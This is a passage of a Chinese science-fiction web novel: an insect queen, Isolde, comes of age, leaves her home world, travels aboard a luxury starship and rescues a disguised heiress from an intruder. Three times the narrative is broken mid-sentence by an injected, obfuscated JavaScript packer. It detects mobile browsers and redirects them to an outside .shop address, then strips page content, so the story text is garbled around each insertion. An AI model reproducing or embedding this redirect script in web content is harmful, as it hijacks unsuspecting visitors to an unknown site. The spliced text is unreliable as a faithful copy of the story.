一切都在颠倒,一切都在呼啸,猛烈的风掠过她的面颊,伊索尔德与湖面中倒映的自己对视,她伸出一只手,张开五指,柔柔覆盖在湖面上。 清凉的湖水仿佛在这一刻绷紧成了一块纯澈而厚重的玻璃,她借力点了一点,振动了双翅。 她以比坠落更快的速度向天际飞去。 模糊的色块像未沥干的颜料,过多的水分使得眼睛所捕捉到的事物朦胧无比。第二种视觉开始运作,除了普世意义中的外表之外,伊索尔德还看到了它们本来的“颜色”。 植物是冷冰冰的蓝,机器产物则更偏向靛青,活着的生命带着深浅不一的红,那些即将死去的则有着灰白的边缘。 伊索尔德抬头,观星台上,代表着塔纳斯的色块红得像一团血液,这团血液的最中心被掏空了,因为它很早之前就已经被当作礼物送给了伊索尔德。 她已经飞到了自己跌落下去的地方,塔纳斯正在那里等着她,神情平静又温和。 “您长大了。” 她向伊索尔德道喜,“祝贺您。” 伊索尔德落在观星台的边缘,她一步步走到塔纳斯的身边坐下,像小时候那样依偎着她的肩膀。 “你还会担心我吗?” “我一直担心着。”塔纳斯回答,她难得没有用敬称,短暂跳出大祭司的壳子,坦然地告知王虫最本真的想法,“但我相信你。你比我们都强大,你的世界也比我们都更辽阔。我只是遗憾。” “遗憾什么?” 塔纳斯轻轻顺了顺她散开的银发,“你走到这一步花的时间比我想象的更短。” “这不是好事吗?” “对我来说可能不是。”塔纳斯笑了一下,“对塔纳斯来说不是。对大祭司来说是。” “啊,我懂了。你舍不得。”这是个陌生的词汇,伊索尔德不熟悉它,但是曾经从苏珊那里听过。据说,当它意识到自己将要与“花园”分离时,心中就出现了这种情绪。 “别担心,我很快就会回来的。” 虫族的寿命很长,游学不过是其中微不足道的部分,伊索尔德虽然还不明白为什么塔纳斯会不想自己那么快成年,但大祭司所说的一定都有她自己的道理。 “你希望我什么时候走呢?”伊索尔德询问。 “殿下可以自己决定。”虫族随时为王虫的成年准备着,无论她决定什么时候离开,都不会有什么妨碍。 “嗯…三天后吧。听说第四星系过几天会召开地下城拍卖会,我可以先去那边看看。” 塔纳斯还记得几年前王虫的规划,“不去第三星系了?” “可以之后再去嘛。而且那边最近在打仗…不是很适合玩。帝国和联邦真是没完没了,他们怎么总是能找到各种理由开战。听说这次是联邦主动挑起的,据说是要找什么东西…”伊索尔德单手托着下巴,“老师也还待在王城里不肯出去,我上次问她为什么,她跟我说在我出师之前她都不会走的。” “这算什么啊,”她抱怨,“‘机甲是有自己的灵魂的,能造出有灵魂的机甲才是机甲师成功的标志’……我从来没听说过这个说法。” “也许是人类那边的标准。”塔纳斯安慰她。 伊索尔德消沉了一会儿,又很快振奋起来,“没关系,我相信亚达娜尔思学院里肯定有能让机甲拥有灵魂的机甲师,我到时候可以去请教一下。” “殿下要带苏珊一起走吗?” “我还没问。”伊索尔德怔了一下,“…我也没想到这么快。我猜它肯定要一起去,苏珊想去人鱼的海祭好久了,据说是因为对咸水过敏去不了,所以每天都在努力脱敏…”然后锻炼了两个月之后差点把自己折腾死,伊索尔德看不下去,只好答应它以后遇到咸水就用精神力把它裹起来。 “我走了?”伊索尔德偏头,“塔纳斯要一起吗?” 塔纳斯轻轻摇了摇头,“我打算再吹会儿风。殿下先回去吧。” “好吧,那我先回去了。塔纳斯再见。”伊索尔德从观星台跳下去,准备自己飞回王城。 虽然也有传送门可以走,但是难得成年,不多飞几圈有点对不住自己。 她又一次振开了绚丽的虫翅,速度放得比之前平缓许多。 王城庞大的阴影投射在地面上,伊索尔德融入了那片阴影,无声无息穿过了防护罩。 *** “我还没有准备好!”灰百合震惊地伸直了花苞,十分不解伊索尔德只是上观星台一趟就成年了这回事,“你们虫族的成年难道没有预兆吗?太突然了吧。” 伊索尔德很纳闷,“有啊。你没发现大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14467415|154277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家最近都在帮忙收拾东西吗?” 虫族对自己的成年是有预感的,三个月前伊索尔德就模糊地知道自己离成年不远了。她通过精神网络告知了大家这个好消息,那之后的虫族每天都在欢欣与快乐之中度过。 “噢…你可能不知道。”她戳了戳苏珊,“你没有精神网络嘛,不知道也很正常。 ” “那你就不口头跟我说吗?” 伊索尔德认真想了想,报出一串日期,“我应该有说吧…你是不是没听到。” 灰百合回忆了一下当时自己在干嘛。 …… “我在睡觉啊!!!” “咳,好吧,很抱歉。那你还有什么没准备的吗,我可以帮你。” 苏珊条理清晰报出自己的单子,“我还差两支营养液,三支阳光合成剂,六份斯诺牌驱虫剂没有收好。它们昨天刚刚送到。” 伊索尔德指挥着精神力把苏珊提到的东西都打包好塞进空间纽,想了想,又多打包了三十公斤的清水进去。 苏珊疑惑,“你带那么多水干嘛?”它记得虫族不怎么依赖水源的。 “你不是一直很想去人鱼的海祭吗,那边没多少淡水,小心到时候只能长在海水里。” “谢谢你。”苏珊发出了甜甜的笑声,“你真贴心。” 伊索尔德已经很习惯苏珊用自己的声音发出各种奇怪的调子了,某种意义上她也挺佩服的,她觉得苏珊对自己——至少在声音上——是真正的了如指掌。 至少她就做不到把一句话讲得如此抑扬顿挫。 “好了,还有什么吗?” “我没有了。但你的封印怎么办?噢,还有卡涅尔,她知道你要走了吗?” “封印前几天解开了一部分,剩下的我知道该怎么做。老师…她这个时候应该还在实验室吧?”伊索尔德也不是很确定,卡涅尔最近迷上了一种新型材料,在实验室一待就是好几个星期,经常性见不到人。 “我在这。”一道略带疲惫的女声从背后传来,卡涅尔靠着墙,垂到肩膀的半短发掩映着一旁的宝石耳坠,她看起来既憔悴又精神奕奕,大概从实验室出来后仔细打理过。 “老师来送我吗?”伊索尔德微笑地看着她。 “我听大祭司说你成年了。恭喜。”说完,她抛给伊索尔德一串手镯,大小颜色不一的空间纽被巧妙做成了繁复镂空的纹样,乍一看像平平无奇的宝石手镯。 “成年礼。”卡涅尔向她挥了挥手,转身走掉了。人类的声音穿过转角传到伊索尔德耳边,“玩得开心。别被人欺负了。” “我看上去很容易被欺负吗?”伊索尔德自言自语。她以为自己看上去还挺凶的。 王虫的容貌已然美丽到了一种令人恐怖的地步,当越过界限之后,美丽就不仅仅是点缀,而是一种最直观的武器。 她笑起来不会给人温柔亲切的感觉,更像是美丽的怪物亮出了镰刀。 小时候还好,最近几年见过她的人类有不少都会被这种非人的异质感吓到。 “家长的关心啦。”灰百合比王虫更熟悉人类的情感表达,“你可以理解为,她祝你一路顺风。” 伊索尔德把手镯套在手上,仔细调整了一下位置。空间纽做成的手镯沉重异常,把手腕上原本的蓝色手绳严严实实盖住了。 “不跟其他人道别了吗?” “还有时间呢。”在离开之前,她会一一说再见的。 阿斯塔的黑夜模式已经被关闭,此刻正是黄昏,伊索尔德站在窗边垂着眼,俯视着阿斯塔星上的一切。 星球在自转,目之所及的一切都被镀上了黄昏的光彩,像被琥珀包裹起来,永远不变的晶体。 这是出生的地方,成长的地方。 她就要与这里告别了。 16. 星舰与利维坦星港 三个月后。 无数星舰缓缓停泊在利维坦星港里,冷淡而机械的中性音从扩音器中传来,指挥着乘客们前往各自的窗口。 白发白眼的女孩静静坐在大厅里,头上别着一朵鲜嫩的灰色百合。她的眼下有薄薄一层鳞片,泛着金属光泽的眼瞳昭示着其虫族的身份。 这是已经在外面痛快玩耍了三个月的伊索尔德,在细心研究过外面的世界后,她没有过多伪装自己的容貌,仅仅是调整了一下头发和眼瞳的颜色,同时收敛气息降低了自己的存在感。 实践证明这很有效,在这个智慧生命的数量已然多到爆炸的时代,没有谁会过多去关注一个与自己擦肩而过的陌生生命。更何况利维坦星港里有许多千奇百怪的种族,除了虫族的身份之外,她看起来平凡极了。 如果不是面对面,恐怕谁也无法想到她会那位是被虫族藏得严严实实的王。 “人真多啊。”她轻声道。 “这里可是第四星系最大的港口,帝国掌控的星系,人不多才奇怪吧。”灰百合一边伪装成头饰,一边悄声说,“我还没问呢...卡萨不是说送你去拍卖会吗,你怎么先走了?” 伊索尔德很惊讶,“你难道看不出来他想干嘛吗?” “请你吃饭?” “......”伊索尔德扶额,“他是想把我们卖掉好吧。” 卡萨是她们在刚到第四星系时遇到的一个商人,为人亲切幽默,认出伊索尔德虫族的身份之后就一直在尝试接近她,而在苏珊无意间暴露了自己会说话这件事后,他看一虫一花的目光都热切了不少。 伊索尔德倒是没什么所谓,她乐于逗这位连自己意图都掩饰不好的黑心商人玩,那些负面情绪于她而言一目了然。外面的世界果然很令虫成长,短短三个月,她已经能够笑眯眯与人类虚与委蛇了。 她做这些的原因主要是觉得有趣,人类的情绪比起虫族丰富太多,如果将其视作一场大型社会调研,伊索尔德认为自己对人类的了解度已经上升到了百分之三十。 “就是没想到虫族在帝国还挺吃香的。”她感慨,“我以为仇恨不是那么容易被忘记的东西呢。” 帝国与虫族之间摩擦不断,直到今日都还有不少小型战役在边缘爆发。然而在意识到对方虫族身份之后,想到的第一件事居然是将其卖入拍卖场。据卡萨说,是因为虫族很少见,且根本抓不到,所以能够拍出很高的价格。 精神网络将虫族连为一体,想抓虫族不过是痴人说梦。 “他,”苏珊终于反应过来了,“他想把我们卖了?” “嗯哼。卖去拍卖场哦。就是我们等会儿要去的那个。” 苏珊有些无语,“我记得贩卖智慧生命是违反宇宙联盟守则的...啊,等等,你有杀人吗?” 宇宙联盟守则里禁止随意杀害智慧生命,虽然伊索尔德出手的情况都能算事出有因,但她的作风实在过分酷烈了,那些洗不干净的血流不仅震慑了犯罪分子,连带着让直辖于宇宙联盟的督察队也一并出动。 她毕竟出身虫族,对好坏善恶的评定都很模糊,只是遵循大祭司的叮嘱愉快地清除掉那些妨碍自己旅行的害虫。如果不是为了以后着想收敛了些,苏珊怀疑自己会跟着一起被宇宙联盟通缉。 “放了把火。”伊索尔德拿出船票看了看,“还好吧,这总不能算我头上吧?” “我希望火烧得够干净。”苏珊叹息,“还有多久上船?” “马上。”伊索尔德抬起头,听到广播中传来星舰班次的播报。她手中的船票开始发亮,提示她星舰将要开始检票。 她把搁置在一边的大衣披在身上,过长的风衣盖住了她裙角被灼烧的痕迹,灰百合把头纱放下来,遮住了她的大半张脸。 “走吧。” —— 利维坦星港F13号停泊处。 一艘星舰停在不远处,伊索尔德按照船票找到了自己的房间。 这是最高等级的特等舱,房间足够宽敞也足够明亮,各类用具华美而低调,根据不同房主的种族进行专门定制,充分显示了其财大气粗的本质。YH的纹样被铭刻在不起眼的边缘,伊索尔德摘掉大衣,将自己摔进了松软的床铺。 她抱着被子翻了个身,“没有家里的好。” 苏珊被放进营养液里,弥补这些天流失的养分,它伸出枝条捏了捏被褥,有些纳闷,“我感觉差不多吧。” 伊索尔德叹气,“怎么会差不多呢...你肯定没有用心去感受。” 灰百合很真诚,“为什么一床被子要用真心去感受?” “不知道。”她闷在被子里笑了一声,“好吧,其实是我前几天看的小说台词。主角认为只有用爱晒干的被子才是世界上最舒服的。” “你不要再去看古蓝星的小说了,”苏珊吐槽,“把以前那个伊索尔德还给我。” “我觉得还蛮好玩的。过分脱离现实之后反而有种荒诞的有趣啊...你不懂,文艺作品就是这样的。” 灰百合:“...倒也不是很想懂。” “接下来就直接去拍卖会吗?” “嗯。我从卡萨身上拿到了入场票,之后再想办法给你弄一张就好了。不过精灵族应该有对应的名额吧,要不你干脆给精灵族发消息要一张?” 灰百合断然拒绝,“提坦妮娅会杀了我的。” “唉,好吧。那我就再辛苦一点,去帮你弄一张好了。” “咦?”话说到一半,伊索尔德忽然从床上坐起,她凝神听了一会儿,“我没听错吧,有人打算在这上面搞暗杀?” 灰百合没有虫族那么好的听力,它努力了半天,也只能听到隔壁房间里传来的细微人声。 “什么什么,”它兴致勃勃地问,“星盗吗?” “好像是人类自己内讧。”伊索尔德辨认了一下,那群人用的是帝国的语言,她刚学不久,只能听懂一部分,“似乎是准备放炸弹啊,具体的不知道了。我听不懂。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14467416|154277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “啊...”灰百合有点遗憾,“我还以为会遇到星盗呢,据说星盗很喜欢打劫第四星系的星舰,好像是因为油水很足。” “因为人类喜欢做生意啊。”伊索尔德漫不经心地说,“他们想用经济把整个宇宙连接起来,以前似乎是因为觉得自己是宇宙主宰,现在...现在大概就是单纯地喜欢做生意吧。” 宇宙太大了,不同文明熠熠生辉,种种原因都注定了不会轻易被另一个文明同化。 说到这里,伊索尔德翻出一面镜子,开始细细看自己的脸。 原本过长的银色头发已经在离开阿斯塔星不久被剪掉了,现在的长度只过肩膀一点。伊索尔德不讨厌长发,但是她很讨厌打理长发。 银发会拖地,做发型也要耗时很久,她小时候还没有现在这么高,经常被自己的头发绊倒,虽然会被旁边的侍从及时接住,但也积累了相当一部分的怨气,因此在成年后就十分痛快地剪掉了。 只是她剪头发的手艺真的很生疏,边缘坑坑洼洼的,被苏珊嘲笑了好久,表示还好她的脸足够能打,就连这种发型都能被映衬出潇洒的气质。 白色的染发剂已经有些许掉色,只要之后稍微补一下色,她还能使用这个伪装很久。 伊索尔德满意点了点头,收回镜子。 她向窗外望去。特等房配备着巨大的落地窗,从里往外望去时会让人有种置身宇宙的错觉。那些流动的星子如同融化的白银,在星舰启动的光焰中被映照出缤纷的光彩。 这艘星舰的目的地是第四星系的主星,卡萨布兰卡。整趟旅程从利维坦出发,以第四星系的主星卡萨布兰卡为目的地,将进行三次空间跃迁,中途不会停靠任何星港。 这条航线为期十天,将经过宇宙中最深的虫洞,据说在特定条件下,穿过虫洞的乘客能够看到某些属于过去或未来的景象。银河集团以“时间旅行”的噱头吸引着宇宙各处的游客,伊索尔德也是因为对此感到好奇,才最终决定依靠星舰而不是自己前往卡萨布兰卡。 她的速度可比星舰快多了。 宇宙属于黑夜,房间里却如同白昼。漫漫星河之下,伊索尔德从落地窗上看到自己模糊的影子。 她打开了观景模式,房间里黑暗下来,被模拟出来的银河流淌在她身边,既铺出绚烂的景象,又隐晦地对银河集团的名号对应。 据说银河集团持有地下城三成的股份。 卡萨临死前怨毒地说有人盯上了她的身份,会替他报仇。 宇宙联盟的督察队依然在身后紧追不舍。 …… 伊索尔德伪装出来的白色眼睛慢慢变回了翡翠般的深绿。那无穷无尽的绿色仿佛漩涡,两点金色的光在其中如同火焰一样燃烧着。 她不再收敛气息,脸上浮现出孩童般的欢欣与期待,再如何璀璨的星河也比不过她的微笑。 “接下来会是什么呢?” 她期待着这个世界送给她更多好玩的玩具。 17. 蒙面舞会与珠宝展览 “时间旅行”开始的第三天,船上宣布将要蒙面舞会。 长期置身于平稳不变的生活会滋生麻木情绪,为了给乘客们提供最好的体验,星舰会想办法举行各种活动来调动乘客的情绪,舞会就是一个不错的选择。 舞会的邀请函做得异常精美,上面用稀有矿石颜料绘制了不会褪色的图案,作为被特别对待的客人,伊索尔德手上的这份还额外赠送了价值不菲的面具和礼服。 苏珊拍了拍伊索尔德,示意她再往浴缸里加点营养液,“怎么样?你要去吗?” “去啊。应该挺有意思的,就是不知道他们的安保撑不撑得住了,”伊索尔德托着下巴,心里默算了下时间,“第三天,刚好是穿越虫洞的时间吧。” “怎么了?” 她点了点邀请函上的文字,一字一句复述道:“‘千千万万年’珠宝展览。最为致命的王冠,由陨石打造的礼服,琉璃...啊,制作者应该是联邦的东方人吧,我看到用珍珠做的机甲动力源装饰甲了。” 邀请函里列出的展品都是这些年享有盛名的珠宝作品,被追捧的同时也吸引了不少恶意的目光。据伊索尔德所知,这艘船上有不少人是冲着展览来的,只不过有的人纯粹是为了观赏,有的人则是想借此名声大噪。 她笑了,眼里闪烁着意义不明的光彩,“主办方知道‘百首龙’混上来了吗?” 百首龙是最近几年挺出名的一个星盗,性别未知种族不明,因为十分喜爱宝石,所以得到了一个恶龙的名号。 不过伊索尔德更倾向于这是主办方有意为之,一方面可以炒展览热度,另一方面也可以显示自身的强大。如果连百首龙都拿不走星舰上的东西,想必大众也会更相信银河集团的实力。毕竟该集团主营的就是银行业务。 苏珊回忆了一下百首龙的事迹,突然兴奋起来,“所以我们终于可以遇上星盗劫持的事件了吗?” “看情况吧?我觉得百首龙可能不会选舞会这种微妙的时间点吧...虽然是很混乱没错,但是也很容易出现突发情况,从行事作风来看百首龙还挺谨慎的,展览前后都有可能。” “说不定就是现在呢?”伊索尔德开了个小小的玩笑。 话音刚落,重物跌落的声音传来,她清楚地听到了隔壁房间发出的尖叫。 —— 即便在特等舱这种静谧异常的地方,这种尖叫声也并不突出,但架不住王虫的五感属于开挂水准,伊索尔德不仅听见了尖叫声,还能够判断出隔壁房主应该是遭遇了什么意外。落地窗被打碎了,防护罩被精准破坏,没有引起一点警报——大概是有人强行从外部突入,想要混入星舰中。 这是个熟手,不一定会杀人,但隔壁房主受点伤是免不了的。 而且这个时间真是微妙得恰到好处,如果真的是百首龙,伊索尔德觉得自己绝不能放过这个现场观看的前排席位。 她起身,精神力丝线丝丝缕缕浮动在周身,自从部分封印被解开后,她过分强横的精神力已经足够她做到许多事。 比如,给自己换一张脸。 那些丝线如同波浪般的纹路,像蚕蛹一样包裹住她,随着王虫的心意调整着外在特征。 片刻后,一个黑发紫眼的少女从中走了出来,她看起来甜美可爱,腰上交错别着两把长刀,白玫瑰盘踞在她的脖颈边,如同珍珠一样柔润。 未免被认出身份,伊索尔德在外放飞自我时都会进行一定的伪装,她会视特定情况选择不同的身份,理由是让故事更加精彩。 苏珊完全不知道她怎么变成这样的,难道就像塔纳斯说的那样,成长本身就会让虫面目全非? “我假设你又要去凑热闹了。”被一并伪装的灰百合在伊索尔德脖子上发出微弱抗议,“这次能先告诉我是什么人设吗,我怕等会儿我接不上你的戏。” “你这次是纯洁无辜没有任何戏份的小白花,”伊索尔德安慰它,“你放心,我很早就已经对你的演技失去了期待,安心当植物就好了。” 灰百合恶狠狠地圈紧了伊索尔德的脖子,后者无所谓地扯了扯它的枝叶,继续说道:“然后呢,我是‘卡俄斯’,银河集团新上任的保镖,因为听到隔壁有动静所以过来查看。” “你知道宇宙联盟就是因为这个所以私下里叫你戏精吗,”苏珊气若游丝,“你真应该进军娱乐圈为大家带来一点大大的震撼。不过这个设定有点太详细了,你打算一直用下去吗?” 伊索尔德耸了耸肩,“督察队很麻烦,所以把他们的注意力引到这个身份上好了。我还想正常上学的,另外,运气好的话,说不定我们能在这帮你弄到第二张入场票。” “其实我觉得装首饰是个不错的选择,你觉得呢?” “晚了。”伊索尔德从空间纽里拿出之前买好的道具,一个人偶代替她在原地坐下。在她消失的同时,被拉下的幕布开始放映电影。 电影开场,伊索尔德也出现在了隔壁房间的门口。她轻柔地敲了敲门,微微垂下的头颅看起来谦卑又恭顺。 “您好,客人。月神刚刚向我们发出警报,请问您需要帮助吗?” —— “说不需要。”入侵者阴沉地对快要昏迷过去的房主说。 被绳索捆在椅子上的房主脖子上还有几圈肿胀的青紫痕迹,他张了张口,努力想要发出声音,然而刚刚遭到伤害的声带还没能成功运作,最终也只泄出了几声气音。 “您好?”房门外的人还在催促,入侵者啧了一声,知道再不应答银河的主控AI就会上报异常。要怪就怪他出门太急忘记带变声器了吧,他有些不耐烦地把房主连人带椅子拖到死角,准备辛苦一点,把外面这个碍事的侍者也一并解决掉。 三下敲门声传来。 大门幽幽打开,房间里漆黑一片,一个瘦高的人影抱着手站在后面,看不清面容。 “有什么事?”他的声音听起来很暴躁,似乎刚刚被人从美梦中吵醒。 是准备先骗进房间再解决掉吗... 伊索尔德微笑地走了进去,态度依然很礼貌,“月神刚刚检索到房主的情绪不佳,请问您需要什么帮助吗?” 对面的人冲了过来,手中的脉冲枪亮起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14467417|154277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蓝光。 她依然微笑着,上身微微前倾,缓缓拔出了长刀,“比如说...一份来自路过好心市民的救援?” 雪亮的刀光照亮了两人的眼。 —— 战斗结束得很快,当伊索尔德把房主从角落里拖出来的时候,后者手腕上的小刀才刚刚割断一半绳索。 入侵者被打晕在一边,从他身上,伊索尔德还察觉到了毒素,剂量很轻,但是在出其不意的情况下把人弄翻还是没什么问题的。看来就算没有她,房主也已经做好了自救的准备。 “好吧,算我多管闲事。”伊索尔德有些遗憾地俯视着他,忽然觉得这张脸有些熟悉,“你是不是跟谁长得很像?” “大概是曾祖母。”房主彬彬有礼地说,“托她的福,我经常被人这样说。” “你祖母还在世吗?” “十分遗憾,前不久离世了。” “所以银河集团的三公子...不对,三小姐目前正在被追杀中?”伊索尔德回想了一下那些全天播放着银河集团宣传片的悬浮屏,从那张全家福的边缘里扒拉出来了这个毫不起眼的成员。 女扮男装的房主爽朗地笑了一下,丝毫不介意自己被看破身份,“阁下慧眼如炬。” 作为宇宙知名财阀,银河集团掌舵人去世的消息早在一个月前就漫天就是,大家都在猜测谁会成为这场没有硝烟的战争中的最后赢家。有的人为此开了盘,三小姐诺贝塔的赔率最高。 她有些困惑,“就当你们是在内乱好了,跟你有什么关系吗?” 房主坦诚到几乎不怀好意,“即便只是旁支,能够分到的遗产也是很可观的。更何况祖母的遗嘱前不久失踪了,而很不巧,有人认为相关的备份被我拿走了。” “唔,栽赃陷害?” “很遗憾,是真的。”诺贝塔终于挣脱了绳索,她揉了揉酸痛的手腕,看向这个完全的变数,她脸上出现了一种奇异的神情,如果伊索尔德见的人更多一点,她或许能分辨出那是属于商人的微笑。更准确一点说,是奸商。 伊索尔德站在原地没有动,她仔细打量了一下诺贝塔,“你想找我帮忙?” “我刚刚就说了,阁下的眼光真的很精准。”诺贝塔感叹一声,毫不掩饰自己的目的,“我需要一个人保护我平安到达卡萨布兰卡。条件随你开,意下如何?” “这可是张空头支票。”黑发紫眼的少女短促笑了一声,归刀入鞘。她的眼睛就像一个谜团,因为过分清澈,以至于诺贝塔甚至能从中看见自己的倒影。她显而易见不会被轻易打动,诺贝塔给出一个足够合适的价码,才有可能把这样的人短暂拉到自己这边。 她还在思考自己的筹码,就听见眼前的人忽然顿了一下,拨了拨脖子上硕大的白玫瑰。 “一张拍卖会的入场票。”她直直看向诺贝塔,“以及,陪我玩。” “玩?玩什么?” 她微微弯了弯眼,“这辆星舰上会出现很多有趣的事,不过一个人太无聊了,你来当我的搭档。” 诺贝塔思索一瞬。 “成交。” 18. 剧本ABC与雇佣与契约石 “你会跳舞吗?”伊索尔德忽然问诺贝塔,后者正在不断从空间纽里拿出各类稀奇古怪的膏体,往自己脸上涂抹。在画笔的描摹下,她的脸正一点点恢复到之前伪装出来的模样。 “主流的都会一点,更偏门的看情况。跳舞不是我的兴趣爱好。” 伊索尔德坐在床头等她,转头瞥向被入侵者打破的空洞。 那是个十分标准的圆形,正在被星舰自带的防护罩一点点压缩修复。寒冷到会让人丧失对温度概念的气息灌进来,冷寂得如同死亡。 宇宙是黑暗且冰冷的,但就伊索尔德的经验来说,它同样拥有温暖的一面。 诺贝塔一面修复自己的伪装一面暗中观察自己这个半路搭档,她在家族里长大,冷眼旁观那些争斗,时间一久,便渐渐也练出几分看人的眼力。 “卡俄斯”喜欢混乱,热爱鲜血,她不推崇暴力,也许是因为自身就有旁人难以企及的武力。她毫无疑问可以算是个纯粹的人,这些东西被很坦然摆在台面上,叫人一眼就能看得出,说得明。 见过她的人恐怕很大一部分会认为她是愉悦犯,但要诺贝塔自己来说,卡俄斯恐怕自有理由。 而且那一定是个也许荒谬但谁都挑不出错的理由。 诺贝塔叹一口气,描完脸上最后一笔。 也许就像祖母说的那样,她还不到火候。 “好了,现在我们可以来更详细地说说你想怎么玩...等等,你怎么把手伸出去了?” 诺贝塔的音调有些许变形,她看着伊索尔德像小孩子烤火那样把双手搭在逐渐缩小的空洞边缘,她的手指穿过防护罩,毫无保留地暴露在了死寂的宇宙之中,防护罩像纸一样被撕碎了,空洞停止收缩,甚至被她拉得更开。 无处不在的致命辐射对她而言丝毫不起作用,而星舰自带能够切割万物的防护罩抵在她的手背上,却无法更进一步。 能够使人类死去活来无数遍的东西如同空气,既无法伤害她,也无法阻止她随意地玩弄它们。 诺贝塔久违地感受到了些许惊悚——她找的这个保镖也许在武力值上真的无人能敌,但...她究竟是个什么东西? “你不是人类。”诺贝塔后退了一步。 伊索尔德漫不经心嗯了一声,她看起来有些不解,“宇宙里也并不是只有人类的。” 诺贝塔依然注视着她那双看起来如同艺术品一样完美的手,“但这艘星舰上的票...只会向人类售出。”暂且不论伊索尔德怎么混上来的,也不管她之后想做什么,“我想请问一个问题,交易还成立吗?” 诺贝塔听说过许多与异族有关的事,而具有拟态能力的无论如何都是最危险的那一档。 伊索尔德注意到她的视线落点,噗嗤笑了一声。她把手从空洞边缘收回,失去阻挡之后,那个小小的空洞终于飞速合拢了。 室内气温重新回到温暖宜人的状态。 “抱歉,我第一次当保镖,没有太多经验。你是害怕吗?” “害怕你暴起杀人。”诺贝塔陈述,“我可以追加筹码,额外答应你三个条件。但你必须向宇宙联盟起誓在我们的雇佣关系存续期间,不得因为任何原因撕毁条约。” 宇宙联盟经费不足时曾经开发过一种技术,她们创造了一种介于科学与玄学之间的石头,能够使得在它面前起誓的双方同步被宇宙联盟见证。违反誓约者将会登上联盟的通缉榜,在督察队的监督下视不同情况进行赔偿或善后。 这算是一种比较高端的保险业务,不过因为这种石头的造价过于高昂,已经很久没有人用过了。 但诺贝塔觉得为了自己性命着想,出点血不算太大的代价。 伊索尔德惊讶地看了她一眼。 诺贝塔被她笑得有些心虚。 “没问题。”出乎意料,对方很痛快地就答应了,“但我要提醒你,向宇宙联盟起誓会进行备案,你要自己承担因为与我契约而带来的麻烦。” 诺贝塔点点头,拿出了一块契约石,放在伊索尔德和自己的面前。 她利索地讲完两人的雇佣关系,并添加了两方分别需要支付的东西,伊索尔德复述了一遍她的话,确认无误后,契约石莹莹地放出光来,表示已经成功上传到联盟档案。 诺贝塔把契约石收好,在给自己的生命安全加上强而有力的保障后,她终于能分出心神开始思考卡俄斯的话,“你想怎么玩?” 玩是个包容度很高的字眼,起码在诺贝塔的印象里,它不仅种类繁多,还分有害无害。 但卡俄斯说的很显然不是无害的那种。 “你们人类很喜欢看话剧吧,越生动越会得到热烈的掌声。有的故事很精彩,值得献上掌声,但有的故事...”伊索尔德停顿了一下,“本来可以更有趣。” 说到这里,伊索尔德看了一眼诺贝塔,认真地说:“你看,入室抢劫这个剧本听起来就不够有趣。” 所以你就闯进来直接干掉入侵者吗...诺贝塔默默想。 “而受害者绝地反杀并与意外出现的好心市民达成交易这个走向就很有趣。” “......” 诺贝塔觉得自己懂了。这是资深戏迷,有自己的品味,看到故事不合心意就会强行动手改走向的那种。 至于自己,大概是资深戏迷的临时搭档,主要作用是帮她收拾烂摊子并打出更多分支走向。 ...听起来像打游戏。 伊索尔德慢慢道:“百首龙想要珠宝,A06想要制造爆炸,B12打算勒索,C09正在制作婚礼蛋糕。都可以,但能不能做到就看他们自己了,毕竟生活中总会有几个反派的。”她似乎笑了一下,“故事会因为角色的变化出现不同走向,两个人足够改变很多了。” “好了,现在回归之前的话题吧。既然你会跳舞,那么舞会就看你的了。”伊索尔德在空中投影出星舰的大致结构图,在几个点标上记号,“会很有趣的,相信我。” 诺贝塔没忍住开口问道:“你觉得哪几个故事不够有趣?”不能直接精准改编吗。 “这种事要到现场才知道吧,万一他们临场发挥比我想的要好呢?你的终端在响。” 伊索尔德头也不抬地说。 “是定时闹钟,不用管。” 诺贝塔沉默了会儿,“好吧,那么你为我们安排了什么样的故事呢?” 她不信这么一个戏精会不给自己写剧本。 “看你喜欢哪个,我准备了好几个。”伊索尔德亮晶晶看着她,眼 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“对了,不选C吗,我觉得还挺有趣的。”准备离开的前一秒,伊索尔德忽然问道,“人类这边类似的商贩并不少吧,作为银河集团未来的当家人我相信你也很了解。这种不是最好扮演了吗?” “首先,私自贩卖智慧生命——哪怕是标本——是违法的。其次,银河集团不接这种生意,最后,我个人觉得这类生意很没有道德,出演这样的角色会让我觉得生命被污染了。虽然我是很喜欢赚钱没错,但也不是什么钱都赚的。” 经商者常常不择手段,但诺贝塔为自己划下过底线,以提醒自己保持初心。人类是很容易被情绪和利益冲垮的种族,如果不能清醒地面对局势,再多的金钱也只会变成墓碑。 这是曾祖母留下的家训。 “好吧,”伊索尔德颇为遗憾地离开了,看起来对剧本C念念不忘,“明天见。” “明天见。” —— 